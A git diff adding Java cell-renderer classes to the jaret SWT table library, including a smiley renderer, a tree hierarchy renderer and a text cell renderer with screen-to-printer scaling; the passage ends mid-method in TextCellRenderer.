b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/LabelProviderRenderer.java @@ -0,0 +1,85 @@ +/* + * File: LabelProviderRenderer.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +import org.eclipse.jface.viewers.ILabelProvider; +import org.eclipse.swt.printing.Printer; + +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * Cell renderer rendering an object using an ILabelProvider (uses text only). + * + * @author kliem + * @version $Id: LabelProviderRenderer.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public class LabelProviderRenderer extends TextCellRenderer { + /** Label provider tat will be used. */ + protected ILabelProvider _labelProvider; + + /** + * Construct a label provider renderer for a printer. + * + * @param printer printer device + */ + public LabelProviderRenderer(Printer printer) { + super(printer); + } + + /** + * Construct a label provider renderer. + */ + public LabelProviderRenderer() { + this(null); + } + + + /** + * {@inheritDoc} Use the label provider to convert value to String. + */ + protected String convertValue(IRow row, IColumn column) { + if (_labelProvider == null) { + // error: handle gracefully + return "no label provider set"; + } + Object value = column.getValue(row); + return _labelProvider.getText(value); + } + + /** + * Retrieve the label provider used. + * + * @return the label provider + */ + public ILabelProvider getLabelProvider() { + return _labelProvider; + } + + /** + * Set the label provider to be used by the renderer. + * + * @param labelProvider label provider to be used + */ + public void setLabelProvider(ILabelProvider labelProvider) { + _labelProvider = labelProvider; + } + + /** + * {@inheritDoc} + */ + public ICellRenderer createPrintRenderer(Printer printer) { + LabelProviderRenderer lpr = new LabelProviderRenderer(printer); + lpr.setLabelProvider(getLabelProvider()); + return lpr; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/ObjectImageRenderer.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/ObjectImageRenderer.java new file mode 100644 index 0000000..6900b4f --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/ObjectImageRenderer.java @@ -0,0 +1,157 @@ +/* + * File: ObjectImageRenderer.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.jface.resource.ImageRegistry; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.printing.Printer; +import org.eclipse.swt.widgets.Display; + +import de.jaret.util.ui.ResourceImageDescriptor; +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * CellRenderer rendering object instances (i.e. enums) to images. + * + * @author Peter Kliem + * @version $Id: ObjectImageRenderer.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public class ObjectImageRenderer extends CellRendererBase implements ICellRenderer { + protected Map _keyMap = new HashMap(); + private ImageRegistry _imageRegistry; + + public ObjectImageRenderer(Printer printer) { + super(printer); + } + + public ObjectImageRenderer() { + super(null); + } + + /** + * Add a mapping between an object instance and an image descriptor. + * + * @param o object instance + * @param key string key (has to be non null an unique for this renderer) to identfy the object + * @param imageDescriptor image descriptor for the image + */ + public void addObjectImageDescriptorMapping(Object o, String key, ImageDescriptor imageDescriptor) { + getImageRegistry().put(key, imageDescriptor); + _keyMap.put(o, key); + } + + /** + * Add a mapping between object instance and an image ressource. + * + * @param o object instance + * @param key string key (has to be non null an unique for this renderer) to identfy the object + * @param ressourceName ressource path + */ + public void addObjectRessourceNameMapping(Object o, String key, String ressourceName) { + ImageDescriptor imgDesc = new ResourceImageDescriptor(ressourceName, this.getClass()); + addObjectImageDescriptorMapping(o, key, imgDesc); + } + + /** + * {@inheritDoc} + */ + public void draw(GC gc, JaretTable jaretTable, ICellStyle cellStyle, Rectangle drawingArea, IRow row, + IColumn column, boolean drawFocus, boolean selected, boolean printing) { + drawBackground(gc, drawingArea, cellStyle, selected, printing); + Rectangle drect = drawBorder(gc, cellStyle, drawingArea, printing); + Rectangle rect = applyInsets(drect); + Object value = column.getValue(row); + String key = _keyMap.get(value); + + if (key != null) { + Image img = null; + img = getImageRegistry().get(key); + int x = rect.x + (rect.width - scaleX(img.getBounds().width)) / 2; + int y = rect.y + (rect.height - scaleY(img.getBounds().height)) / 2; + gc.drawImage(img, 0, 0, img.getBounds().width, img.getBounds().height, x, y, scaleX(img.getBounds().width), + scaleY(img.getBounds().height)); + } else { + // indicate error with red fill + Color bg = gc.getBackground(); + gc.setBackground(Display.getCurrent().getSystemColor(SWT.COLOR_MAGENTA)); + gc.fillRectangle(rect); + gc.setBackground(bg); + } + if (drawFocus) { + drawFocus(gc, drect); + } + drawSelection(gc, drawingArea, cellStyle, selected, printing); + + } + + /** + * {@inheritDoc} + * + * @TODO + */ + public int getPreferredWidth(List rows, IColumn column) { + return -1;// return getImageRegistry().get(CHECKED).getBounds().width; + } + + /** + * {@inheritDoc} TODO + */ + public int getPreferredHeight(GC gc, ICellStyle cellStyle, int width, IRow row, IColumn column) { + return -1;// getImageRegistry().get(CHECKED).getBounds().height; + } + + /** + * Retrieve the image registry instance. + * + * @return ImageRegistry + */ + private synchronized ImageRegistry getImageRegistry() { + if (_imageRegistry == null) { + _imageRegistry = new ImageRegistry(); + } + return _imageRegistry; + } + + /** + * {@inheritDoc} Disposes the image registry and clears the map with object instances to help garbage collecting. + */ + public void dispose() { + if (_imageRegistry != null) { + _imageRegistry.dispose(); + } + _keyMap.clear(); + } + + /** + * {@inheritDoc} + */ + public ICellRenderer createPrintRenderer(Printer printer) { + ObjectImageRenderer renderer = new ObjectImageRenderer(printer); + for (Object o : _keyMap.keySet()) { + String key = _keyMap.get(o); + ImageDescriptor imageDesc = getImageRegistry().getDescriptor(key); + renderer.addObjectImageDescriptorMapping(o, key, imageDesc); + } + return renderer; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/RendererBase.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/RendererBase.java new file mode 100644 index 0000000..a10cdfa --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/RendererBase.java @@ -0,0 +1,139 @@ +/* + * File: RendererBase.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.printing.Printer; + +/** + * Base implementation for renderers that support both screen and printer rendering. It's main purpose is scaling + * beetween screen and printer coordinates (based on 96dpi for the screen). + * + * @author Peter Kliem + * @version $Id: RendererBase.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public abstract class RendererBase { + /** printer if used. */ + protected Printer _printer; + + /** constant for scaling: screen resolution x. */ + protected static final double SCREEN_DPI_X = 96.0; + /** constant for scaling: screen resolution y. */ + protected static final double SCREEN_DPI_Y = 96.0; + + /** x scaling for transformation beetwenn screen and printer. */ + protected double _scaleX = 1.0; + + /** y scaling for transformation beetwenn screen and printer. */ + protected double _scaleY = 1.0; + + /** for saving gc attribute. */ + private Color _bgColor; + /** for saving gc attribute. */ + private Color _fgColor; + /** for saving gc attribute. */ + private int _lineWidth; + /** for saving gc attribute. */ + private Font _font; + + /** + * May be constructed without printer (supplying null). + * + * @param printer or null + */ + public RendererBase(Printer printer) { + _printer = printer; + if (_printer != null) { + Point dpi = _printer.getDPI(); + _scaleX = (double) dpi.x / SCREEN_DPI_X; + _scaleY = (double) dpi.y / SCREEN_DPI_Y; + } + } + + /** + * Scale an x coordinate/size from screen to printer. + * + * @param in corodinate/size to scale + * @return scaled value + */ + public int scaleX(int in) { + return (int) Math.round(_scaleX * (double) in); + } + + /** + * Retrieve the x scale factor. + * + * @return x scale factor + */ + public double getScaleX() { + return _scaleX; + } + + /** + * Scale an y coordinate/size from screen to printer. + * + * @param in corodinate/size to scale + * @return scaled value + */ + public int scaleY(int in) { + return (int) Math.round(_scaleY * (double) in); + } + + /** + * Retrieve the y scale factor. + * + * @return y scale factor + */ + public double getScaleY() { + return _scaleY; + } + + /** + * Retrieve the printer device. + * + * @return printer device if set null otherwise + */ + public Printer getPrinter() { + return _printer; + } + + /** + * Helper method saving several GC attributes to loal variables. The values can be restored with + * restoreGCAttributes. + * + * @param gc GC to save attributes for + */ + protected void saveGCAttributes(GC gc) { + _bgColor = gc.getBackground(); + _fgColor = gc.getForeground(); + _font = gc.getFont(); + _lineWidth = gc.getLineWidth(); + } + + /** + * Helper method to restore attribute values saved with saveGCAttributes. + * + * @param gc GC to restore attributes for + */ + protected void restoreGCAttributes(GC gc) { + if (_bgColor == null) { + throw new RuntimeException("no attributes saved"); + } + gc.setBackground(_bgColor); + gc.setForeground(_fgColor); + gc.setFont(_font); + gc.setLineWidth(_lineWidth); + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/SmileyCellRenderer.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/SmileyCellRenderer.java new file mode 100644 index 0000000..c220183 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/SmileyCellRenderer.java @@ -0,0 +1,234 @@ +/* + * File: SmileyCellRenderer.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +import javax.swing.BoundedRangeModel; +import javax.swing.DefaultBoundedRangeModel; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Device; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Path; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.printing.Printer; +import org.eclipse.swt.widgets.Display; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * Fun renderer rendering an integer as a smiley. + * + * @TODO Printing + * + * @author Peter Kliem + * @version $Id: SmileyCellRenderer.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public class SmileyCellRenderer extends CellRendererBase implements ICellRenderer { + private BoundedRangeModel _brModel = new DefaultBoundedRangeModel(50, 0, 0, 100); + private boolean _eyeBrows = true; + private boolean _colorChange = true; + /** if true, rendering will be alwa limited to a maximal square, forcing the smiley to be a circle. */ + private boolean _forceCircle = true; + + private Color _neutral; + private Color _positive; + private Color _negative; + private Color _currentColor; + private Color _black; + + private double _currentValue; + + public SmileyCellRenderer(Printer printer) { + super(printer); + if (printer != null) { + _neutral = printer.getSystemColor(SWT.COLOR_YELLOW); + _positive = printer.getSystemColor(SWT.COLOR_GREEN); + _negative = printer.getSystemColor(SWT.COLOR_RED); + _black = printer.getSystemColor(SWT.COLOR_BLACK); + + } + } + + public SmileyCellRenderer() { + super(null); + _neutral = Display.getCurrent().getSystemColor(SWT.COLOR_YELLOW); + _positive = Display.getCurrent().getSystemColor(SWT.COLOR_GREEN); + _negative = Display.getCurrent().getSystemColor(SWT.COLOR_RED); + _black = Display.getCurrent().getSystemColor(SWT.COLOR_BLACK); + } + + /** + * {@inheritDoc} + */ + public void draw(GC gc, JaretTable jaretTable, ICellStyle cellStyle, Rectangle drawingArea, IRow row, + IColumn column, boolean drawFocus, boolean selected, boolean printing) { + drawBackground(gc, drawingArea, cellStyle, selected, printing); + Rectangle drect = drawBorder(gc, cellStyle, drawingArea, printing); + Rectangle rect = applyInsets(drect); + Object value = column.getValue(row); + if (value != null) { + saveGCAttributes(gc); + int val = ((Integer) value).intValue(); + _brModel.setValue(val); + calcSmileFactor(); + + if (_forceCircle) { + int a = Math.min(rect.width, rect.height); + Rectangle nrect = new Rectangle(0, 0, a, a); + nrect.x = rect.x + (rect.width - a) / 2; + nrect.y = rect.y + (rect.height - a) / 2; + rect = nrect; + } + + int width = rect.width; + int height = rect.height; + int offx = rect.x; + int offy = rect.y; + float foffx = (float) offx; + float foffy = (float) offy; + + int lineWidth = height / 40; + if (!_colorChange) { + gc.setBackground(_neutral); + } else { + if (_currentValue >= 0) { // positive + gc.setBackground(calcColor(_positive, printing)); + } else { // negative + gc.setBackground(calcColor(_negative, printing)); + } + } + + Device device = printing ? _printer : Display.getCurrent(); + Path p = new Path(device); + p.addArc(foffx + 0 + lineWidth / 2, foffy + 0 + lineWidth / 2, width - 1 - lineWidth, height - 1 + - lineWidth, 0, 360); + gc.fillPath(p); + gc.setForeground(_black); + gc.setLineWidth(lineWidth); + gc.drawPath(p); + p.dispose(); + // eyes + int y = height / 3; + int x1 = width / 3; + int x2 = width - width / 3; + int r = width / 30; + // eyes have a minimal size + if (r == 0) { + r = 1; + } + gc.setBackground(_black); + gc.fillOval(offx + x1 - r, offy + y - r, 2 * r, 2 * r); + gc.fillOval(offx + x2 - r, offy + y - r, 2 * r, 2 * r); + // eye brows + if (_eyeBrows) { + gc.setLineWidth(lineWidth / 2); + int ebWidth = width / 10; + int yDist = height / 13; + int yOff = (int) (_currentValue * (double) height / 30); + int xShift = (int) (_currentValue * (double) width / 90); + p = new Path(device); + p.moveTo(foffx + x1 - ebWidth / 2 + xShift, foffy + y - yDist + yOff); + p.lineTo(foffx + x1 + ebWidth / 2 - xShift, foffy + y - yDist - yOff); + gc.drawPath(p); + p.dispose(); + + p = new Path(device); + p.moveTo(foffx + x2 - ebWidth / 2 + xShift, foffy + y - yDist - yOff); + p.lineTo(foffx + x2 + ebWidth / 2 - xShift, foffy + y - yDist + yOff); + gc.drawPath(p); + p.dispose(); + } + // mouth + gc.setLineWidth(lineWidth); + x1 = (int) (width / 4.5); + x2 = width - x1; + y = height - height / 3; + int midX = width / 2; + int offset = (int) (_currentValue * (double) height / 3); + p = new Path(Display.getCurrent()); + p.moveTo(foffx + x1, foffy + y); + p.quadTo(foffx + midX, foffy + y + offset, foffx + x2, foffy + y); + gc.drawPath(p); + p.dispose(); + restoreGCAttributes(gc); + } + if (drawFocus) { + drawFocus(gc, drect); + } + drawSelection(gc, drawingArea, cellStyle, selected, printing); + + } + + /** + * Scales the BoundedRangeModel to [-1, 1] + */ + private void calcSmileFactor() { + int range = _brModel.getMaximum() - _brModel.getMinimum(); + int mid = _brModel.getMinimum() + range / 2; + int value = _brModel.getValue(); + _currentValue = (double) (value - mid) / (double) (range / 2); + // due to rounding errors the smileFactor may be over 1 + if (_currentValue > 1) { + _currentValue = 1; + } else if (_currentValue < -1) { + _currentValue = -1; + } + } + + /** + * Calculates the color beetween _neutral and the specified color + * + * @param destColor + * @return the mixed color + */ + private Color calcColor(Color destColor, boolean printing) { + int rDiff = destColor.getRed() - _neutral.getRed(); + int gDiff = destColor.getGreen() - _neutral.getGreen(); + int bDiff = destColor.getBlue() - _neutral.getBlue(); + double factor = Math.abs(_currentValue); + int r = (int) ((double) rDiff * factor); + int g = (int) ((double) gDiff * factor); + int b = (int) ((double) bDiff * factor); + + if (_currentColor != null) { + _currentColor.dispose(); + } + if (!printing) { + _currentColor = new Color(Display.getCurrent(), _neutral.getRed() + r, _neutral.getGreen() + g, _neutral + .getBlue() + - b); + } else { + _currentColor = new Color(_printer, _neutral.getRed() + r, _neutral.getGreen() + g, _neutral.getBlue() - b); + } + return _currentColor; + } + + /** + * {@inheritDoc} + */ + public void dispose() { + if (_currentColor != null) { + _currentColor.dispose(); + } + } + + /** + * {@inheritDoc} + */ + public ICellRenderer createPrintRenderer(Printer printer) { + // return new SmileyCellRenderer(printer); + // TODO there is a printing problem with using path on a printer, so use a text cell renderer instead + return new TextCellRenderer(printer); + } +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/TableHierarchyRenderer.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/TableHierarchyRenderer.java new file mode 100644 index 0000000..585f801 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/TableHierarchyRenderer.java @@ -0,0 +1,360 @@ +/* + * File: TableHierarchyRenderer.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +import java.util.List; + +import org.eclipse.jface.viewers.ILabelProvider; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.printing.Printer; +import org.eclipse.swt.widgets.Display; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IHierarchicalTableViewState; +import de.jaret.util.ui.table.model.IRow; +import de.jaret.util.ui.table.model.ITableNode; +import de.jaret.util.ui.table.model.StdHierarchicalTableModel; + +/** + * A renderer for rendering the hierarchy (as a tree) of a hierarchical tree model. + * + * @author Peter Kliem + * @version $Id: TableHierarchyRenderer.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public class TableHierarchyRenderer extends CellRendererBase implements IHierarchyRenderer { + /** size of the plus/minus signs. */ + protected int SIZE = 12; + + protected int SIGNINSETS = 3; + + protected boolean _drawTree = true; + + protected int _levelWidth = 30; + + protected boolean _drawIcons = false; + + protected boolean _drawLabels = false; + + protected ILabelProvider _labelProvider = null; + + /** type of nodemarks to draw: 0 none, 1 +/-, 2 triangles. */ + protected int _nodeMarkType = 2; + + /** + * Create the renderer for a printer device. + * @param printer printer device + */ + public TableHierarchyRenderer(Printer printer) { + super(printer); + SIZE = scaleX(SIZE); + SIGNINSETS = scaleX(SIGNINSETS); + } + + /** + * Create the renderer for use with the display. + */ + public TableHierarchyRenderer() { + super(null); + } + + /** + * {@inheritDoc} + */ + public void draw(GC gc, JaretTable jaretTable, ICellStyle cellStyle, Rectangle drawingArea, IRow row, + IColumn column, boolean drawFocus, boolean selected, boolean printing) { + int offx; + offx = scaleX(_levelWidth); + ITableNode node = (ITableNode) row; + int level = node.getLevel(); + boolean leaf = node.getChildren().size() == 0; + boolean expanded = ((IHierarchicalTableViewState) jaretTable.getTableViewState()).isExpanded(node); + + int x = drawingArea.x + offx * level + SIZE / 2; + + int y = drawingArea.y + (drawingArea.height - SIZE) / 2; + + if (leaf && !_drawIcons) { + drawLeaf(gc, SIZE, x, y); + } else if (expanded && !leaf) { + if (_nodeMarkType == 1) { + drawMinus(gc, SIZE, x, y); + } else if (_nodeMarkType == 2) { + drawTriangleDown(gc, SIZE, x, y); + } + } else if (!leaf) { + if (_nodeMarkType == 1) { + drawPlus(gc, SIZE, x, y); + } else if (_nodeMarkType == 2) { + drawTriangleRight(gc, SIZE, x, y); + } + } + if (_nodeMarkType != 0) { + x += SIZE + 4; + } + + // default for drawing selection + Rectangle labelrect = drawingArea; + + if (_labelProvider != null && (_drawIcons || _drawLabels)) { + int labelx = x; + labelrect = new Rectangle(x, y, 0, 0); + if (_drawIcons) { + Image img = _labelProvider.getImage(row); + if (img != null) { + if (!printing) { + gc.drawImage(img, x, y); + labelx += img.getBounds().width; + labelrect.width += img.getBounds().width; + labelrect.height = img.getBounds().height; + } else { + gc.drawImage(img, 0, 0, img.getBounds().width, img.getBounds().height, x, y, scaleX(img + .getBounds().width), scaleY(img.getBounds().height)); + labelx += scaleX(img.getBounds().width); + labelrect.width += scaleX(img.getBounds().width); + labelrect.height = scaleY(img.getBounds().height); + } + } + } + if (_drawLabels) { + String label = _labelProvider.getText(row); + if (label != null) { + gc.drawString(label, labelx, y); + + Point extent = gc.stringExtent(label); + labelrect.width += extent.x; + labelrect.height = Math.max(labelrect.height, extent.y); + } + } + } + + // draw tree connections + if (_drawTree) { + // TimeBarNode node = (TimeBarNode) row; + if (printing) { + gc.setLineWidth(3); + } + gc.setLineStyle(SWT.LINE_DOT); + int midy = drawingArea.y + ((drawingArea.height - SIZE) / 2) + SIZE / 2; + int icoy = drawingArea.y + ((drawingArea.height - SIZE) / 2) + SIZE; + int icox = drawingArea.x + offx * (level) + SIZE - SIZE / 2; + int midx = drawingArea.x + +offx * (level) + SIZE; + int beginx = drawingArea.x + offx * (level - 1) + SIZE; + int endx = drawingArea.x + offx * (level + 1) + SIZE; + + // connection + gc.drawLine(beginx, midy, icox, midy); + + // uplink + gc.drawLine(beginx, drawingArea.y, beginx, midy); + + // downlink + if ((!leaf && expanded)) { + gc.drawLine(midx, icoy, midx, drawingArea.y + drawingArea.height); + } + + boolean hasMoreSiblings = true; + if (jaretTable.getTableModel() instanceof StdHierarchicalTableModel) { + StdHierarchicalTableModel model = (StdHierarchicalTableModel) jaretTable.getTableModel(); + hasMoreSiblings = model.moreSiblings(node, node.getLevel()); + } + + // // downlink on begin + // // if has more siblings + // if (hasMoreSiblings) { + // // gc.drawLine(beginx, icoy, beginx, + // drawingArea.y+drawingArea.height); + // } + + // level lines + if (jaretTable.getTableModel() instanceof StdHierarchicalTableModel) { + StdHierarchicalTableModel model = (StdHierarchicalTableModel) jaretTable.getTableModel(); + for (int i = 0; i < level; i++) { + if (model.moreSiblings(node, i)) { + x = drawingArea.x + offx * i + SIZE; + gc.drawLine(x, drawingArea.y, x, drawingArea.y + drawingArea.height); + } + } + } + + gc.setLineStyle(SWT.LINE_SOLID); + gc.setLineWidth(1); + } + if (drawFocus) { + drawFocus(gc, labelrect); + } + drawSelection(gc, labelrect, cellStyle, selected, printing); + + } + + protected void drawPlus(GC gc, int size, int x, int y) { + gc.drawLine(x + SIGNINSETS, y + size / 2, x + size - SIGNINSETS, y + size / 2); + gc.drawLine(x + size / 2, y + SIGNINSETS, x + size / 2, y + size - SIGNINSETS); + gc.drawRectangle(x, y, size, size); + } + + protected void drawMinus(GC gc, int size, int x, int y) { + gc.drawLine(x + SIGNINSETS, y + size / 2, x + size - SIGNINSETS, y + size / 2); + gc.drawRectangle(x, y, size, size); + } + + protected void drawTriangleDown(GC gc, int size, int x, int y) { + Color bg = gc.getBackground(); + gc.setBackground(Display.getCurrent().getSystemColor(SWT.COLOR_BLACK)); + int[] pArray = new int[] { x, y, x + size, y, x + size / 2, y + size - 3 }; + gc.fillPolygon(pArray); + gc.setBackground(bg); + } + + protected void drawTriangleRight(GC gc, int size, int x, int y) { + Color bg = gc.getBackground(); + gc.setBackground(Display.getCurrent().getSystemColor(SWT.COLOR_BLACK)); + int[] pArray = new int[] { x, y, x + size - 3, y + size / 2, x, y + size }; + gc.fillPolygon(pArray); + gc.setBackground(bg); + } + + protected void drawLeaf(GC gc, int size, int x, int y) { + Color bg = gc.getBackground(); + gc.setBackground(Display.getCurrent().getSystemColor(SWT.COLOR_BLACK)); + gc.fillOval(x + size / 2, y + size / 2, size / 2, size / 2); + gc.setBackground(bg); + } + + /** + * {@inheritDoc} + */ + public boolean contains(Rectangle drawingArea, int x, int y) { + return true; + } + + /** + * {@inheritDoc} + */ + public int getPreferredWidth() { + return scaleX(SIZE + 4); + } + + /** + * {@inheritDoc} + */ + public void dispose() { + if (_labelProvider != null) { + _labelProvider.dispose(); + } + } + + /** + * @return Returns the labelProvider. + */ + public ILabelProvider getLabelProvider() { + return _labelProvider; + } + + /** + * @param labelProvider The labelProvider to set. + */ + public void setLabelProvider(ILabelProvider labelProvider) { + _labelProvider = labelProvider; + } + + /** + * @return Returns the levelWidth. + */ + public int getLevelWidth() { + return _levelWidth; + } + + /** + * @param levelWidth The levelWidth to set. + */ + public void setLevelWidth(int levelWidth) { + _levelWidth = levelWidth; + } + + /** + * @return Returns the drawIcons. + */ + public boolean getDrawIcons() { + return _drawIcons; + } + + /** + * @param drawIcons The drawIcons to set. + */ + public void setDrawIcons(boolean drawIcons) { + this._drawIcons = drawIcons; + } + + /** + * @return Returns the drawLabels. + */ + public boolean getDrawLabels() { + return _drawLabels; + } + + /** + * @param drawLabels The drawLabels to set. + */ + public void setDrawLabels(boolean drawLabels) { + this._drawLabels = drawLabels; + } + + /** + * {@inheritDoc} + */ + public ICellRenderer createPrintRenderer(Printer printer) { + TableHierarchyRenderer r = new TableHierarchyRenderer(printer); + r.setDrawIcons(_drawIcons); + r.setDrawLabels(_drawLabels); + r.setLevelWidth(_levelWidth); + r.setLabelProvider(_labelProvider); + return r; + } + + /** + * {@inheritDoc} + */ + public int getPreferredWidth(List rows, IColumn column) { + return -1; + } + + /** + * {@inheritDoc} + */ + public int getPreferredHeight(IRow row, IColumn column) { + return -1; + } + + /** + * {@inheritDoc} + */ + public boolean isInActiveArea(IRow row, Rectangle drawingArea, int xx, int yy) { + int offx = scaleX(_levelWidth); + ITableNode node = (ITableNode) row; + int level = node.getLevel(); + boolean leaf = node.getChildren().size() == 0; + // leaves can not be toggled + if (leaf) { + return false; + } + + int x = drawingArea.x + offx * level + SIZE / 2; + int y = drawingArea.y + (drawingArea.height - SIZE) / 2; + + return x <= xx && xx <= x + SIZE && y <= yy && yy <= y + SIZE; + } +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/TextCellRenderer.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/TextCellRenderer.java new file mode 100644 index 0000000..d1f26bb --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/TextCellRenderer.java @@ -0,0 +1,261 @@ +/* + * File: TextCellRenderer.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.graphics.TextLayout; +import org.eclipse.swt.graphics.TextStyle; +import org.eclipse.swt.printing.Printer; +import org.eclipse.swt.widgets.Display; + +import de.jaret.util.swt.TextRenderer; +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; +import de.jaret.util.ui.table.model.ITableViewState; + +/** + * TextCellRenderer for the jaret table. Features an integrated comment marker (tooltip), Override getComment() to use + * this. This CellRenderer may be used as the basis for a lot of toText-CellRenderers (see the DateCellRenderer) + * + * @author Peter Kliem + * @version $Id: TextCellRenderer.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public class TextCellRenderer extends CellRendererBase implements ICellRenderer { + /** size of the comment arker. */ + private static final int COMMENTMARKER_SIZE = 5; + + /** color of the comment marker. */ + protected Color _commentColor; + + /** + * Create a text cell renderer for printing. + * + * @param printer printer device + */ + public TextCellRenderer(Printer printer) { + super(printer); + } + + /** + * Create a text cell renderer for display. + */ + public TextCellRenderer() { + super(null); + _commentColor = Display.getCurrent().getSystemColor(SWT.COLOR_RED); + } + + /** + * {@inheritDoc} + */ + public String getTooltip(JaretTable jaretTable, Rectangle drawingArea, IRow row, IColumn column, int x, int y) { + if (getComment(row, column) != null && isInCommentMarkerArea(drawingArea, COMMENTMARKER_SIZE, x, y)) { + return getComment(row, column); + } + return null; + } + + /** + * Convert the value specified by row, column to a string. This method is ideally suited to be overidden by + * extensions of the textcellrenderer. + * + * @param row row of the cell + * @param column column of the cell + * @return String for the value + */ + protected String convertValue(IRow row, IColumn column) { + Object value = column.getValue(row); + return value != null ? value.toString() : null; + } + + /** + * Override for using content marker and tooltip. + * + * @param row row of the cell + * @param column column of the cell + * @return comment as String or null + */ + protected String getComment(IRow row, IColumn column) { + return null; + } + + /** + * {@inheritDoc} + */ + public void draw(GC gc, JaretTable jaretTable, ICellStyle cellStyle, Rectangle drawingArea, IRow row, + IColumn column, boolean drawFocus, boolean selected, boolean printing) { + + drawBackground(gc, drawingArea, cellStyle, selected, printing); + Rectangle drect = drawBorder(gc, cellStyle, drawingArea, printing); + Rectangle rect = applyInsets(drect); + + // convert the value to a string + String s = convertValue(row, column); + + Color fg = gc.getForeground(); + Color bg = gc.getBackground(); + Font font = gc.getFont(); + + + + // draw comment marker if comment is present and not printing + if (!printing && getComment(row, column) != null) { + drawCommentMarker(gc, drawingArea, _commentColor, COMMENTMARKER_SIZE); + } + + if (drawFocus) { + drawFocus(gc, drect); + } + drawSelection(gc, drawingArea, cellStyle, selected, printing); + 